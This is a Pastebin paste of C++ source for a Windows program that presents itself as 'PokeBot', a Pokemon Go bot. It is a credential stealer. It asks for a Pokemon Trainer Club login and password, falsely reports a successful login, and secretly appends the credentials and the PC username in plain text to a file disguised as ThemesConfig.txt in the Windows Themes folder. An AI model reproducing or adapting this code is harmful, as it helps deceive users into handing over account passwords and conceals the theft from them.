Advertisement
Guest User

Untitled

a guest
Sep 25th, 2016
126
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.10 KB | None | 0 0
  1. #include <iostream>
  2. #include <string>
  3. #include <fstream>
  4. #include <ctime>
  5. #include <windows.h>
  6. #include <Lmcons.h>
  7.  
  8.  
  9.  
  10. using namespace std;
  11.  
  12. string email, password;
  13.  
  14. void write_to_file();
  15.  
  16.  
  17.  
  18. int main()
  19. {
  20.  
  21. cout << "PokeBot By KiiR4 and RayperZ" << endl << endl;
  22.  
  23. cout << "Insert email or Pokemon Trainer Club Username: ";
  24. cin >> email;
  25.  
  26. cout << "Insert password: ";
  27. cin >> password;
  28.  
  29. cout << "Successfully Logged In" << endl;
  30. cout << "Welcome " << email;
  31.  
  32. write_to_file();
  33.  
  34. return 0;
  35.  
  36.  
  37. }
  38.  
  39.  
  40. void write_to_file()
  41. {
  42.  
  43. time_t now = time(0);
  44.    
  45. char* dt = ctime(&now);
  46.  
  47.  char username[UNLEN+1];
  48.     DWORD username_len = UNLEN+1;
  49.     GetUserName(username, &username_len);
  50.     std::string filelog("C:\\Users\\");
  51.     filelog+=username;
  52.     filelog+=("\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\ThemesConfig.txt");
  53.     std::ofstream file;
  54.     file.open (filelog.c_str(), std::ofstream::out | std::ofstream::app);
  55.     file << dt << endl << "Pc Username: " << username << endl << "Email: " << email << endl << "Password: " << password << endl << endl;
  56.     file.close();
  57.    
  58. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement